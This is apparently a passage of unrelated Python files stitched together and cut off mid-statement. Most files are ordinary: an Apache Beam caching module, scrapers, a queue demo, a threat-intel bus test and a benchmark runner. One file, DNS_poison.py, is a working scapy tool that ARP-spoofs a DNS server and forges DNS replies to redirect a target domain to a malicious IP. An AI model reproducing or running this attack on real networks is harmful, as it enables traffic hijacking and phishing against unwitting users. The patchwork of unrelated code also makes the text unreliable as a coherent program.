type=int, default=256, required=False) parser.add_argument('--num_layers', type=int, default=3, required=False) parser.add_argument('--averaging_expiration', type=float, default=15, required=False) parser.add_argument('--round_timeout', type=float, default=30, required=False) parser.add_argument('--request_timeout', type=float, default=3, required=False) parser.add_argument('--spawn_dtime', type=float, default=0.1, required=False) parser.add_argument('--increase_file_limit', action="store_true") args = vars(parser.parse_args()) if args.pop('increase_file_limit', False): increase_file_limit() benchmark_averaging(**args)
main.py
# -*- coding: utf-8 -*- """ ------------------------------------------------- File Name๏ผš main.py Description : ่ฟ่กŒไธปๅ‡ฝๆ•ฐ Author : JHao date๏ผš 2017/4/1 ------------------------------------------------- Change Activity: 2017/4/1: ------------------------------------------------- """ __author__ = 'JHao' import sys from multiprocessing import Process sys.path.append('../') from Api.ProxyApi import run as ProxyApiRun from Schedule.ProxyValidSchedule import run as ValidRun from Schedule.ProxyRefreshSchedule import run as RefreshRun def run(): p_list = list() p1 = Process(target=ProxyApiRun, name='ProxyApiRun') p_list.append(p1) p2 = Process(target=ValidRun, name='ValidRun') p_list.append(p2) p3 = Process(target=RefreshRun, name='RefreshRun') p_list.append(p3) for p in p_list: p.daemon = True p.start() for p in p_list: p.join() if __name__ == '__main__': run()
DNS_poison.py
import argparse from scapy.all import * from scapy.layers.dns import DNS, DNSQR, DNSRR from scapy.layers.inet import IP, UDP from scapy.layers.l2 import Ether, ARP import threading import arpSpoofer GW_IP = '' # The IP address of the GW DNS_IP = '' # The IP address of the DNS server DNS_MAC = '' # The MAC address of the DNS server GW_MAC = '' # The MAC address of the GW SELF_MAC = get_if_hwaddr(conf.iface) # Own MAC address SELF_IP = get_if_addr(conf.iface) # Own IP address ATTACKED_SITE = '' # The Domain of the attacked site MALICIOUS_IP = '' # The IP address of the malicious site def forward_to_gw(pkt): """ Forward all the packets from the targeted DNS server to the GW (for the MITM) except the DNS requests for the attacked site domain :param pkt: :return: """ # forward the packet to the GW pkt[Ether].dst = GW_MAC # if the packet is a DNS request for the targeted site, return a DNS answer with the malicious IP if DNS in pkt and ATTACKED_SITE in pkt[DNS][DNSQR].qname: pkt = Ether(src=SELF_MAC, dst=DNS_MAC, type=pkt[Ether].type) / IP(dst=pkt[IP].src, src=pkt[IP].dst) / UDP( sport=pkt[UDP].dport, dport=pkt[UDP].sport) / DNS( qr=1, id=pkt[DNS].id, ancount=1, qd=DNSQR(pkt[DNS][DNSQR]), an=DNSRR(rrname=pkt[DNSQR].qname, rdata=MALICIOUS_IP)) sendp(pkt, verbose=0) def to_gw(pkt): """ Checks if the packet is from the attacked DNS server to the GW :param pkt: The packet ot check :return: """ return pkt[Ether].src == DNS_MAC and pkt[Ether].dst == SELF_MAC def r_traffic_to_gw(): """ Sniffs and redirects traffic from the attacked DNS server to the GW :return: """ while True: sniff(lfilter=to_gw, prn=forward_to_gw) def main(): global GW_IP, DNS_IP, GW_MAC, DNS_MAC, ATTACKED_SITE, MALICIOUS_IP, SELF_MAC, SELF_IP parser = argparse.ArgumentParser(description='DNS cache poisoning') parser.add_argument('-i', '--iface', metavar='IFACE', default=conf.iface, type=str, help='Interface you wish to use (default ' + conf.iface + ')') parser.add_argument('-g', '--gw', metavar='IP', type=str, default=conf.route.route("0.0.0.0")[2], help='The address of the gateway (default: ' + conf.route.route("0.0.0.0")[2] + ')') parser.add_argument('-d', '--delay', metavar='DELAY', type=int, default=2, help='Delay (in seconds) between ARP messages (default: 2)') parser.add_argument('-ms', '--malicious_site', metavar='IP', type=str, default='192.168.1.1', help='The IP of the site you want to redirect to (default: 192.168.1.1) ') required = parser.add_argument_group('required arguments') required.add_argument('-t', '--target', metavar='IP', type=str, help='IP of DNS target', required=True) required.add_argument('-ts', '--target_site', metavar='DOMAIN', type=str, help='The domain of the attacked site') args = parser.parse_args() # initialize global arguments GW_IP = args.gw DNS_IP = args.target SELF_IP = get_if_addr(conf.iface) SELF_MAC = get_if_hwaddr(conf.iface) GW_MAC = sr(ARP(op=1, hwsrc=mac2str(SELF_MAC), pdst=GW_IP), verbose=0)[0][0][1].hwsrc DNS_MAC = sr(ARP(op=1, hwsrc=mac2str(SELF_MAC), pdst=DNS_IP), verbose=0)[0][0][1].hwsrc ATTACKED_SITE = args.target_site MALICIOUS_IP = args.malicious_site # ARP spoof the DNS server pretending to be the GW arp_spoof = threading.Thread(target=arpSpoofer.main, args=(args.iface, DNS_IP, GW_IP, args.delay, False)) arp_spoof.start() # sniff the packets from the DNS server, analyze them and respond if needed spoof_gw = threading.Thread(target=r_traffic_to_gw, args=()) spoof_gw.start() if __name__ == "__main__": main()
background_caching_job.py
# # Licensed to the Apache Software Foundation (ASF) under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # The ASF licenses this file to You under the Apache License, Version 2.0 # (the "License"); you may not use this file except in compliance with # the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # """Module to build and run background source recording jobs. For internal use only; no backwards-compatibility guarantees. A background source recording job is a job that records events for all recordable sources of a given pipeline. With Interactive Beam, one such job is started when a pipeline run happens (which produces a main job in contrast to the background source recording job) and meets the following conditions: #. The pipeline contains recordable sources, configured through interactive_beam.options.recordable_sources. #. No such background job is running. #. No such background job has completed successfully and the cached events are still valid (invalidated when recordable sources change in the pipeline). Once started, the background source recording job runs asynchronously until it hits some recording limit configured in interactive_beam.options. Meanwhile, the main job and future main jobs from the pipeline will run using the deterministic replayable recorded events until they are invalidated. """ # pytype: skip-file import logging import threading import time import apache_beam as beam from apache_beam.runners.interactive import interactive_environment as ie from apache_beam.runners.interactive.caching import streaming_cache from apache_beam.runners.runner import PipelineState _LOGGER = logging.getLogger(__name__) class BackgroundCachingJob(object): """A simple abstraction that controls necessary components of a timed and space limited background source recording job. A background source recording job successfully completes source data recording in 2 conditions: #. The job is finite and runs into DONE state; #. The job is infinite but hits an interactive_beam.options configured limit and gets cancelled into CANCELLED/CANCELLING state. In both situations, the background source recording job should be treated as done successfully. """ def __init__(self, pipeline_result, limiters): self._pipeline_result = pipeline_result self._result_lock = threading.RLock() self._condition_checker = threading.Thread( target=self._background_caching_job_condition_checker, daemon=True) # Limiters are checks s.t. if any are triggered then the background caching # job gets cancelled. self._limiters = limiters self._condition_checker.start() def _background_caching_job_condition_checker(self): while True: with self._result_lock: if PipelineState.is_terminal(self._pipeline_result.state): break if self._should_end_condition_checker(): self.cancel() break time.sleep(0.5) def _should_end_condition_checker(self): return any([l.is_triggered() for l in self._limiters]) def is_done(self): with self._result_lock: is_terminated = self._pipeline_result.state in ( PipelineState.DONE, PipelineState.CANCELLED) is_triggered = self._should_end_condition_checker() is_cancelling = self._pipeline_result.state is PipelineState.CANCELLING return is_terminated or (is_triggered and is_cancelling) def is_running(self): with self._result_lock: return self._pipeline_result.state is PipelineState.RUNNING def cancel(self): """Cancels this background source recording job. """ with self._result_lock: if not PipelineState.is_terminal(self._pipeline_result.state): try: self._pipeline_result.cancel() except NotImplementedError: # Ignore the cancel invocation if it is never implemented by the # runner. pass @property def state(self): with self._result_lock: return self._pipeline_result.state def attempt_to_run_background_caching_job( runner, user_pipeline, options=None, limiters=None): """Attempts to run a background source recording job for a user-defined pipeline. Returns True if a job was started, False otherwise. The pipeline result is automatically tracked by Interactive Beam in case future cancellation/cleanup is needed. """ if is_background_caching_job_needed(user_pipeline): # Cancel non-terminal jobs if there is any before starting a new one. attempt_to_cancel_background_caching_job(user_pipeline) # Cancel the gRPC server serving the test stream if there is one. attempt_to_stop_test_stream_service(user_pipeline) # TODO(BEAM-8335): refactor background source recording job logic from # pipeline_instrument module to this module and aggregate tests. from apache_beam.runners.interactive import pipeline_instrument as instr runner_pipeline = beam.pipeline.Pipeline.from_runner_api( user_pipeline.to_runner_api(), runner, options) ie.current_env().add_derived_pipeline(user_pipeline, runner_pipeline) background_caching_job_result = beam.pipeline.Pipeline.from_runner_api( instr.build_pipeline_instrument( runner_pipeline).background_caching_pipeline_proto(), runner, options).run() recording_limiters = ( limiters if limiters else ie.current_env().options.capture_control.limiters()) ie.current_env().set_background_caching_job( user_pipeline, BackgroundCachingJob( background_caching_job_result, limiters=recording_limiters)) return True return False def is_background_caching_job_needed(user_pipeline): """Determines if a background source recording job needs to be started. It does several state checks and recording state changes throughout the process. It is not idempotent to simplify the usage. """ job = ie.current_env().get_background_caching_job(user_pipeline) # Checks if the pipeline contains any source that needs to be cached. need_cache = has_source_to_cache(user_pipeline) # If this is True, we can invalidate a previous done/running job if there is # one. cache_changed = is_source_to_cache_changed(user_pipeline) # When recording replay is disabled, cache is always needed for recordable # sources (if any). if need_cache and not ie.current_env().options.enable_recording_replay: from apache_beam.runners.interactive.options import capture_control capture_control.evict_captured_data() return True return ( need_cache and # Checks if it's the first time running a job from the pipeline. ( not job or # Or checks if there is no previous job. # DONE means a previous job has completed successfully and the # cached events might still be valid. not ( job.is_done() or # RUNNING means a previous job has been started and is still # running. job.is_running()) or # Or checks if we can invalidate the previous job. cache_changed)) def is_cache_complete(pipeline_id): # type: (str) -> bool """Returns True if the backgrond cache for the given pipeline is done. """ user_pipeline = ie.current_env().pipeline_id_to_pipeline(pipeline_id) job = ie.current_env().get_background_caching_job(user_pipeline) is_done = job and job.is_done() cache_changed = is_source_to_cache_changed( user_pipeline, update_cached_source_signature=False) # Stop reading from the cache if the background job is done or the underlying # cache signature changed that requires a new background source recording job. return is_done or cache_changed def has_source_to_cache(user_pipeline): """Determines if a user-defined pipeline contains any source that need to be cached. If so, also immediately wrap current cache manager held by current interactive environment into a streaming cache if this has not been done. The wrapping doesn't invalidate existing cache in any way. This can help determining if a background source recording job is needed to write cache for sources and if a test stream service is needed to serve the cache. Throughout the check, if source-to-cache has changed from the last check, it also cleans up the invalidated cache early on. """ from apache_beam.runners.interactive import pipeline_instrument as instr # TODO(BEAM-8335): we temporarily only cache replaceable unbounded sources. # Add logic for other cacheable sources here when they are available. has_cache = instr.has_unbounded_sources(user_pipeline) if has_cache: if not isinstance(ie.current_env().get_cache_manager(user_pipeline, create_if_absent=True), streaming_cache.StreamingCache): file_based_cm = ie.current_env().get_cache_manager(user_pipeline) ie.current_env().set_cache_manager( streaming_cache.StreamingCache( file_based_cm._cache_dir, is_cache_complete=is_cache_complete, sample_resolution_sec=1.0, saved_pcoders=file_based_cm._saved_pcoders), user_pipeline) return has_cache def attempt_to_cancel_background_caching_job(user_pipeline): """Attempts to cancel background source recording job for a user-defined pipeline. If no background source recording job needs to be cancelled, NOOP. Otherwise, cancel such job. """ job = ie.current_env().get_background_caching_job(user_pipeline) if job: job.cancel() def attempt_to_stop_test_stream_service(user_pipeline): """Attempts to stop the gRPC server/service serving the test stream. If there is no such server started, NOOP. Otherwise, stop it. """ if is_a_test_stream_service_running(user_pipeline): ie.current_env().evict_test_stream_service_controller(user_pipeline).stop() def is_a_test_stream_service_running(user_pipeline): """Checks to see if there is a gPRC server/service running that serves the test stream to any job started from the given user_pipeline. """ return ie.current_env().get_test_stream_service_controller( user_pipeline) is not None def is_source_to_cache_changed( user_pipeline, update_cached_source_signature=True): """Determines if there is any change in the sources that need to be cached used by the user-defined pipeline. Due to the expensiveness of computations and for the simplicity of usage, this function is not idempotent because Interactive Beam automatically discards previously tracked signature of transforms and tracks the current signature of transforms for the user-defined pipeline if there is any change. When it's True, there is addition/deletion/mutation of source transforms that requires a new background source recording job. """ # By default gets empty set if the user_pipeline is first time seen because # we can treat it as adding transforms. recorded_signature = ie.current_env().get_cached_source_signature( user_pipeline) current_signature = extract_source_to_cache_signature(user_pipeline) is_changed = not current_signature.issubset(recorded_signature) # The computation of extract_unbounded_source_signature is expensive, track on # change by default. if is_changed and update_cached_source_signature: options = ie.current_env().options # No info needed when recording replay is disabled. if options.enable_recording_replay: if not recorded_signature: def sizeof_fmt(num, suffix='B'): for unit in ['', 'K', 'M', 'G', 'T', 'P', 'E', 'Z']: if abs(num) < 1000.0: return "%3.1f%s%s" % (num, unit, suffix) num /= 1000.0 return "%.1f%s%s" % (num, 'Yi', suffix) _LOGGER.info( 'Interactive Beam has detected unbounded sources in your pipeline. ' 'In order to have a deterministic replay, a segment of data will ' 'be recorded from all sources for %s seconds or until a total of ' '%s have been written to disk.', options.recording_duration.total_seconds(), sizeof_fmt(options.recording_size_limit)) else: _LOGGER.info( 'Interactive Beam has detected a new streaming source was ' 'added to the pipeline. In order for the cached streaming ' 'data to start at the same time, all recorded data has been ' 'cleared and a new segment of data will be recorded.') ie.current_env().cleanup(user_pipeline) ie.current_env().set_cached_source_signature( user_pipeline, current_signature) ie.current_env().add_user_pipeline(user_pipeline) return is_changed def extract_source_to_cache_signature(user_pipeline): """Extracts a set of signature for sources that need to be cached in the user-defined pipeline. A signature is a str representation of urn and payload of a source. """ from apache_beam.runners.interactive import pipeline_instrument as instr # TODO(BEAM-8335): we temporarily only cache replaceable unbounded sources. # Add logic for other cacheable sources here when they are available. unbounded_sources_as_applied_transforms = instr.unbounded_sources( user_pipeline) unbounded_sources_as_ptransforms = set( map(lambda x: x.transform, unbounded_sources_as_applied_transforms)) _, context = user_pipeline.to_runner_api(return_context=True) signature = set( map( lambda transform: str(transform.to_runner_api(context)), unbounded_sources_as_ptransforms)) return signature
webscraper.py
from bs4 import BeautifulSoup import requests import threading from pymongo import MongoClient GOOGLE_NEWS_URL="https://news.google.com" def set_robot(article, db): title = article.find('span').getText() url = article.find('a', {'class': 'ipQwMb Q7tWef'}).get('href') # generating schema json = {'title': title, 'url': url} # inserting in collection articles db.articles.insert_one(json) print "Article Added" def scraping_site(): re = requests.get(GOOGLE_NEWS_URL) if re.status_code == 200: # success request soup = BeautifulSoup(re.text, 'html.parser') # re.text -> html content if soup is not None: # mongo integration client = MongoClient('localhost', 27017) # local connection db = client.webscrapper #webscraper - database # find articles articles = soup.find_all('h3') for article in articles: robot = threading.Thread(name="set_robot", target=set_robot, args=(article,db)) robot.start() else: print "Wrong Soup" else: print "Wrong request" if __name__ == '__main__': scraping_site()
allChannels.py
### Script to get all channels from tata sky import threading import requests import json as json API_BASE_URL = "https://kong-tatasky.videoready.tv/" channel_list = [] def getChannelInfo(channelId): url = "{}content-detail/pub/api/v2/channels/{}".format(API_BASE_URL, channelId) x = requests.get(url) meta_data= x.json()['data']['meta'] channel_meta = x.json()['data']['channelMeta'] channel_detail_dict = x.json()['data']['detail'] onechannl = { "channel_id": str(channelId), "channel_name": channel_meta.get('channelName', ''), "channel_license_url": channel_detail_dict.get('dashWidewineLicenseUrl', ''), "channel_url": channel_detail_dict.get('dashWidewinePlayUrl', ''), "channel_entitlements": channel_detail_dict.get('entitlements', ''), "channel_logo": channel_meta.get('logo', ''), "channel_genre": channel_meta.get('primaryGenre',"") } channel_list.append(onechannl) def saveChannelsToFile(): print(len(channel_list)) with open("allChannels.json", "w") as channel_list_file: json.dump(channel_list, channel_list_file) channel_list_file.close() def processChnuks(channel_lists): for channel in channel_lists: print("Getting channelId:{}".format(channel.get('id', ''))) channel_id = str(channel.get('id', '')) getChannelInfo(channel_id) def getAllChannels(): ts = [] url = API_BASE_URL + "content-detail/pub/api/v1/channels?limit=1000" x = requests.get(url) channel_list = x.json()['data']['list'] print("Total Channels fetched:", len(channel_list)) print("Fetching channel info..........") for i in range(0, len(channel_list), 1): t = threading.Thread(target=processChnuks, args=([channel_list[i:i + 1]])) ts.append(t) t.start() for t in ts: t.join() print("Saving all to a file.... " + str(len(channel_list))) saveChannelsToFile() if __name__ == '__main__': getAllChannels()
usequeue.py
from multiprocessing import Process, Queue import os, time, random # ๅ†™ๆ•ฐๆฎ่ฟ›็จ‹ๆ‰ง่กŒ็š„ไปฃ็ : def write(q): print('Process to write: {}'.format(os.getpid())) for value in ['A', 'B', 'C']: print('Put %s to queue...' % value) q.put(value) time.sleep(random.random()) # ่ฏปๆ•ฐๆฎ่ฟ›็จ‹ๆ‰ง่กŒ็š„ไปฃ็ : def read(q): print('Process to read:{}'.format(os.getpid())) while True: value = q.get(True) print('Get %s from queue.' % value) if __name__=='__main__': # ็ˆถ่ฟ›็จ‹ๅˆ›ๅปบQueue๏ผŒๅนถไผ ็ป™ๅ„ไธชๅญ่ฟ›็จ‹๏ผš q = Queue() pw = Process(target=write, args=(q,)) pr = Process(target=read, args=(q,)) # ๅฏๅŠจๅญ่ฟ›็จ‹pw๏ผŒๅ†™ๅ…ฅ: pw.start() # ๅฏๅŠจๅญ่ฟ›็จ‹pr๏ผŒ่ฏปๅ–: pr.start() # ็ญ‰ๅพ…pw็ป“ๆŸ: pw.join() # pr่ฟ›็จ‹้‡Œๆ˜ฏๆญปๅพช็Žฏ๏ผŒๆ— ๆณ•็ญ‰ๅพ…ๅ…ถ็ป“ๆŸ๏ผŒๅช่ƒฝๅผบ่กŒ็ปˆๆญข: pr.terminate()
test_zmq_app_message_roundtrips.py
from dynaconf import Dynaconf import queue import threading from stix2 import Indicator, parse, Sighting from threatbus import start as start_threatbus import time import unittest from tests.utils import zmq_receiver, zmq_sender class TestZmqMessageRoundtrip(unittest.TestCase): @classmethod def setUpClass(cls): super(TestZmqMessageRoundtrip, cls).setUpClass() config = Dynaconf( settings_file="config_integration_test.yaml", ) cls.threatbus = start_threatbus(config) time.sleep(1) @classmethod def tearDownClass(cls): cls.threatbus.stop() time.sleep(1) def test_zmq_plugin_message_roundtrip(self): """ Backend-agnostic message passing scenario. Sends a fixed amount of messages via the threatbus ZeroMQ app plugin, subscribes to Threat Bus, and checks if the initially sent messages can be retrieved back. """ result_q = queue.Queue() items = 2 topics = ["stix2/indicator", "stix2/sighting"] rec = threading.Thread( target=zmq_receiver.forward, args=(items, topics, result_q), daemon=False ) rec.start() ioc = Indicator(pattern_type="stix", pattern="[ipv4-addr:value = '6.6.6.6']") zmq_sender.send( "stix2/indicator", ioc.serialize(), port=13372, bind=False, ) sighting = Sighting(sighting_of_ref=ioc.id) zmq_sender.send( "stix2/sighting", sighting.serialize(), port=13372, bind=False, ) time.sleep(1) self.assertEqual(result_q.qsize(), items) event = result_q.get(timeout=1) self.assertIsNotNone(event) self.assertEqual(parse(event), ioc) result_q.task_done() event = result_q.get(timeout=1) self.assertIsNotNone(event) self.assertEqual(parse(event), sighting) result_q.task_done() self.assertEqual(0, result_q.qsize()) result_q.join() rec.join(timeout=1)
benchmarker.py
from setup.linux.installer import Installer from setup.linux import setup_util from benchmark import framework_test from benchmark.test_types import * from utils import header from utils import gather_tests from utils import gather_frameworks import os import json import subprocess import traceback import time import pprint import csv import sys import logging import socket import threading import textwrap from pprint import pprint from multiprocessing import Process from datetime import datetime # Cross-platform colored text from colorama import Fore, Back, Style # Text-based progress indicators import progressbar class Benchmarker: ########################################################################################## # Public methods ########################################################################################## ############################################################ # Prints all the available tests ############################################################ def run_list_tests(self): all_tests = self.__gather_tests for test in all_tests: print test.name self.__finish() ############################################################ # End run_list_tests ############################################################ ############################################################ # Prints the metadata for all the available tests ############################################################ def run_list_test_metadata(self): all_tests = self.__gather_tests all_tests_json = json.dumps(map(lambda test: { "name": test.name, "approach": test.approach, "classification": test.classification, "database": test.database, "framework": test.framework, "language": test.language, "orm": test.orm, "platform": test.platform, "webserver": test.webserver, "os": test.os, "database_os": test.database_os, "display_name": test.display_name, "notes": test.notes, "versus": test.versus }, all_tests)) with open(os.path.join(self.full_results_directory(), "test_metadata.json"), "w") as f: f.write(all_tests_json) self.__finish() ############################################################ # End run_list_test_metadata ############################################################ ############################################################ # parse_timestamp # Re-parses the raw data for a given timestamp ############################################################ def parse_timestamp(self): all_tests = self.__gather_tests for test in all_tests: test.parse_all() self.__parse_results(all_tests) self.__finish() ############################################################ # End parse_timestamp ############################################################ ############################################################ # Run the tests: # This process involves setting up the client/server machines # with any necessary change. Then going through each test, # running their setup script, verifying the URLs, and # running benchmarks against them. ############################################################ def run(self): ########################## # Get a list of all known # tests that we can run. ########################## all_tests = self.__gather_tests ########################## # Setup client/server ########################## print header("Preparing Server, Database, and Client ...", top='=', bottom='=') self.__setup_server() self.__setup_database() self.__setup_client() ## Check if wrk (and wrk-pipeline) is installed and executable, if not, raise an exception #if not (os.access("/usr/local/bin/wrk", os.X_OK) and os.access("/usr/local/bin/wrk-pipeline", os.X_OK)): # raise Exception("wrk and/or wrk-pipeline are not properly installed. Not running tests.") ########################## # Run tests ########################## print header("Running Tests...", top='=', bottom='=') result = self.__run_tests(all_tests) ########################## # Parse results ########################## if self.mode == "benchmark": print header("Parsing Results ...", top='=', bottom='=') self.__parse_results(all_tests) self.__finish() return result ############################################################ # End run ############################################################ ############################################################ # database_sftp_string(batch_file) # generates a fully qualified URL for sftp to database ############################################################ def database_sftp_string(self, batch_file): sftp_string = "sftp -oStrictHostKeyChecking=no " if batch_file != None: sftp_string += " -b " + batch_file + " " if self.database_identity_file != None: sftp_string += " -i " + self.database_identity_file + " " return sftp_string + self.database_user + "@" + self.database_host ############################################################ # End database_sftp_string ############################################################ ############################################################ # client_sftp_string(batch_file) # generates a fully qualified URL for sftp to client ############################################################ def client_sftp_string(self, batch_file): sftp_string = "sftp -oStrictHostKeyChecking=no " if batch_file != None: sftp_string += " -b " + batch_file + " " if self.client_identity_file != None: sftp_string += " -i " + self.client_identity_file + " " return sftp_string + self.client_user + "@" + self.client_host ############################################################ # End client_sftp_string ############################################################ ############################################################ # generate_url(url, port) # generates a fully qualified URL for accessing a test url ############################################################ def generate_url(self, url, port): return self.server_host + ":" + str(port) + url ############################################################ # End generate_url ############################################################ ############################################################ # get_output_file(test_name, test_type) # returns the output file name for this test_name and # test_type timestamp/test_type/test_name/raw ############################################################ def get_output_file(self, test_name, test_type): return os.path.join(self.result_directory, self.timestamp, test_type, test_name, "raw") ############################################################ # End get_output_file ############################################################ ############################################################ # output_file(test_name, test_type) # returns the output file for this test_name and test_type # timestamp/test_type/test_name/raw ############################################################ def output_file(self, test_name, test_type): path = self.get_output_file(test_name, test_type) try: os.makedirs(os.path.dirname(path)) except OSError: pass return path ############################################################ # End output_file ############################################################ ############################################################ # get_stats_file(test_name, test_type) # returns the stats file name for this test_name and # test_type timestamp/test_type/test_name/raw ############################################################ def get_stats_file(self, test_name, test_type): return os.path.join(self.result_directory, self.timestamp, test_type, test_name, "stats") ############################################################ # End get_stats_file ############################################################ ############################################################ # stats_file(test_name, test_type) # returns the stats file for this test_name and test_type # timestamp/test_type/test_name/raw ############################################################ def stats_file(self, test_name, test_type): path = self.get_stats_file(test_name, test_type) try: os.makedirs(os.path.dirname(path)) except OSError: pass return path ############################################################ # End stats_file ############################################################ ############################################################ # full_results_directory ############################################################ def full_results_directory(self): path = os.path.join(self.result_directory, self.timestamp) try: os.makedirs(path) except OSError: pass return path ############################################################ # End full_results_directory ############################################################ ############################################################ # Latest intermediate results dirctory ############################################################ def latest_results_directory(self): path = os.path.join(self.result_directory,"latest") try: os.makedirs(path) except OSError: pass return path ############################################################ # report_verify_results # Used by FrameworkTest to add verification details to our results # # TODO: Technically this is an IPC violation - we are accessing # the parent process' memory from the child process ############################################################ def report_verify_results(self, framework, test, result): if framework.name not in self.results['verify'].keys(): self.results['verify'][framework.name] = dict() self.results['verify'][framework.name][test] = result ############################################################ # report_benchmark_results # Used by FrameworkTest to add benchmark data to this # # TODO: Technically this is an IPC violation - we are accessing # the parent process' memory from the child process ############################################################ def report_benchmark_results(self, framework, test, results): if test not in self.results['rawData'].keys(): self.results['rawData'][test] = dict() # If results has a size from the parse, then it succeeded. if results: self.results['rawData'][test][framework.name] = results # This may already be set for single-tests if framework.name not in self.results['succeeded'][test]: self.results['succeeded'][test].append(framework.name) else: # This may already be set for single-tests if framework.name not in self.results['failed'][test]: self.results['failed'][test].append(framework.name) ############################################################ # End report_results ############################################################ ########################################################################################## # Private methods ########################################################################################## ############################################################ # Gathers all the tests ############################################################ @property def __gather_tests(self): tests = gather_tests(include=self.test, exclude=self.exclude, benchmarker=self) # If the tests have been interrupted somehow, then we want to resume them where we left # off, rather than starting from the beginning if os.path.isfile('current_benchmark.txt'): with open('current_benchmark.txt', 'r') as interrupted_benchmark: interrupt_bench = interrupted_benchmark.read().strip() for index, atest in enumerate(tests): if atest.name == interrupt_bench: tests = tests[index:] break return tests ############################################################ # End __gather_tests ############################################################ ############################################################ # Makes any necessary changes to the server that should be # made before running the tests. This involves setting kernal # settings to allow for more connections, or more file # descriptiors # # http://redmine.lighttpd.net/projects/weighttp/wiki#Troubleshooting ############################################################ def __setup_server(self): try: if os.name == 'nt': return True subprocess.check_call(["sudo","bash","-c","cd /sys/devices/system/cpu; ls -d cpu[0-9]*|while read x; do echo performance > $x/cpufreq/scaling_governor; done"]) subprocess.check_call("sudo sysctl -w net.ipv4.tcp_max_syn_backlog=65535".rsplit(" ")) subprocess.check_call("sudo sysctl -w net.core.somaxconn=65535".rsplit(" ")) subprocess.check_call("sudo -s ulimit -n 65535".rsplit(" ")) subprocess.check_call("sudo sysctl net.ipv4.tcp_tw_reuse=1".rsplit(" ")) subprocess.check_call("sudo sysctl net.ipv4.tcp_tw_recycle=1".rsplit(" ")) subprocess.check_call("sudo sysctl -w kernel.shmmax=134217728".rsplit(" ")) subprocess.check_call("sudo sysctl -w kernel.shmall=2097152".rsplit(" ")) except subprocess.CalledProcessError: return False ############################################################ # End __setup_server ############################################################ ############################################################ # Makes any necessary changes to the database machine that # should be made before running the tests. Is very similar # to the server setup, but may also include database specific # changes. ############################################################ def __setup_database(self): p = subprocess.Popen(self.database_ssh_string, stdin=subprocess.PIPE, shell=True) p.communicate(""" sudo sysctl -w net.ipv4.tcp_max_syn_backlog=65535 sudo sysctl -w net.core.somaxconn=65535 sudo -s ulimit -n 65535 sudo sysctl net.ipv4.tcp_tw_reuse=1 sudo sysctl net.ipv4.tcp_tw_recycle=1 sudo sysctl -w kernel.shmmax=2147483648 sudo sysctl -w kernel.shmall=2097152 """) ############################################################ # End __setup_database ############################################################ ############################################################ # Makes any necessary changes to the client machine that # should be made before running the tests. Is very similar # to the server setup, but may also include client specific # changes. ############################################################ def __setup_client(self): p = subprocess.Popen(self.client_ssh_string, stdin=subprocess.PIPE, shell=True) p.communicate(""" sudo sysctl -w net.ipv4.tcp_max_syn_backlog=65535 sudo sysctl -w net.core.somaxconn=65535 sudo -s ulimit -n 65535 sudo sysctl net.ipv4.tcp_tw_reuse=1 sudo sysctl net.ipv4.tcp_tw_recycle=1 sudo sysctl -w kernel.shmmax=2147483648 sudo sysctl -w kernel.shmall=2097152 """) ############################################################ # End __setup_client ############################################################ ############################################################ # __run_tests # # 2013-10-02 ASB Calls each test passed in tests to # __run_test in a separate process. Each # test is given a set amount of time and if # kills the child process (and subsequently # all of its child processes). Uses # multiprocessing module. ############################################################ def __run_tests(self, tests): if len(tests) == 0: return 0 logging.debug("Start __run_tests.") logging.debug("__name__ = %s",__name__) error_happened = False if self.os.lower() == 'windows': logging.debug("Executing __run_tests on Windows") for test in tests: with open('current_benchmark.txt', 'w') as benchmark_resume_file: benchmark_resume_file.write(test.name) if self.__run_test(test) != 0: error_happened = True else: logging.debug("Executing __run_tests on Linux") # Setup a nice progressbar and ETA indicator widgets = [self.mode, ': ', progressbar.Percentage(), ' ', progressbar.Bar(), ' Rough ', progressbar.ETA()] pbar = progressbar.ProgressBar(widgets=widgets, maxval=len(tests)).start() pbar_test = 0 # These features do not work on Windows for test in tests: pbar.update(pbar_test) pbar_test = pbar_test + 1 if __name__ == 'benchmark.benchmarker': print header("Running Test: %s" % test.name) with open('current_benchmark.txt', 'w') as benchmark_resume_file: benchmark_resume_file.write(test.name) test_process = Process(target=self.__run_test, name="Test Runner (%s)" % test.name, args=(test,)) test_process.start() test_process.join(self.run_test_timeout_seconds) self.__load_results() # Load intermediate result from child process if(test_process.is_alive()): logging.debug("Child process for {name} is still alive. Terminating.".format(name=test.name)) self.__write_intermediate_results(test.name,"__run_test timeout (="+ str(self.run_test_timeout_seconds) + " seconds)") test_process.terminate() test_process.join() if test_process.exitcode != 0: error_happened = True pbar.finish() if os.path.isfile('current_benchmark.txt'): os.remove('current_benchmark.txt') logging.debug("End __run_tests.") if error_happened: return 1 return 0 ############################################################ # End __run_tests ############################################################ ############################################################ # __run_test # 2013-10-02 ASB Previously __run_tests. This code now only # processes a single test. # # Ensures that the system has all necessary software to run # the tests. This does not include that software for the individual # test, but covers software such as curl and weighttp that # are needed. ############################################################ def __run_test(self, test): # Used to capture return values def exit_with_code(code): if self.os.lower() == 'windows': return code else: sys.exit(code) logDir = os.path.join(self.latest_results_directory, 'logs', test.name) try: os.makedirs(logDir) except Exception: pass with open(os.path.join(logDir, 'out.txt'), 'w') as out, \ open(os.path.join(logDir, 'err.txt'), 'w') as err: if test.os.lower() != self.os.lower() or test.database_os.lower() != self.database_os.lower(): out.write("OS or Database OS specified in benchmark_config does not match the current environment. Skipping.\n") return exit_with_code(0) # If the test is in the excludes list, we skip it if self.exclude != None and test.name in self.exclude: out.write("Test {name} has been added to the excludes list. Skipping.\n".format(name=test.name)) return exit_with_code(0) out.write("test.os.lower() = {os} test.database_os.lower() = {dbos}\n".format(os=test.os.lower(),dbos=test.database_os.lower())) out.write("self.results['frameworks'] != None: {val}\n".format(val=str(self.results['frameworks'] != None))) out.write("test.name: {name}\n".format(name=str(test.name))) out.write("self.results['completed']: {completed}\n".format(completed=str(self.results['completed']))) if self.results['frameworks'] != None and test.name in self.results['completed']: out.write('Framework {name} found in latest saved data. Skipping.\n'.format(name=str(test.name))) return exit_with_code(1) out.flush() out.write(header("Beginning %s" % test.name, top='=')) out.flush() ########################## # Start this test ########################## out.write(header("Starting %s" % test.name)) out.flush() try: if test.requires_database(): p = 